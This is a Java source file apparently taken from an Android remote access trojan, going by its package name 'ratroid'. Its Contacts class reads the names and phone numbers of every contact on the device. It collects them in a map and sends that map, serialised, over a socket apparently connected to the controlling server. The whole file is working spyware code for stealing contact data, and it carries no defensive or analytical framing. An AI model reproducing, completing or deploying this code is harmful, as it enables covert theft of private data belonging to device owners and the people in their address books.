package com.hicham.ratroid;

import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.HashMap;
import android.content.Context;
import android.database.Cursor;
import android.provider.ContactsContract;

public class Contacts {
	
	private HashMap<String, String> coninfo;
	private Context context;
	private int i=0;
	
	public Contacts(Context con1){
		
		context=con1;
		
    	Cursor c = context.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,null,null, null);

    	coninfo = new HashMap<String, String>();
        while  (c.moveToNext()) 
        {
        	
        	
        	
        	String phoneNumber = c.getString(c.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
        	String Name=c.getString(c.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));

        	if(!(coninfo.containsValue(phoneNumber))){
        	i++;
        	String key = String.valueOf(i);
        	coninfo.put(key, Name);
        	i++;        	
        	key = String.valueOf(i);
        	coninfo.put(key,phoneNumber );}
 
        }
		
	}
	
	public void SendInfos(Sender s) {

		try{
		OutputStream os = s.s.getOutputStream();  
		ObjectOutputStream oos = new ObjectOutputStream(os); 
		oos.writeObject(coninfo);
		oos.flush();
		}catch(Exception e){
			System.out.println(e);
			} 

	}


}
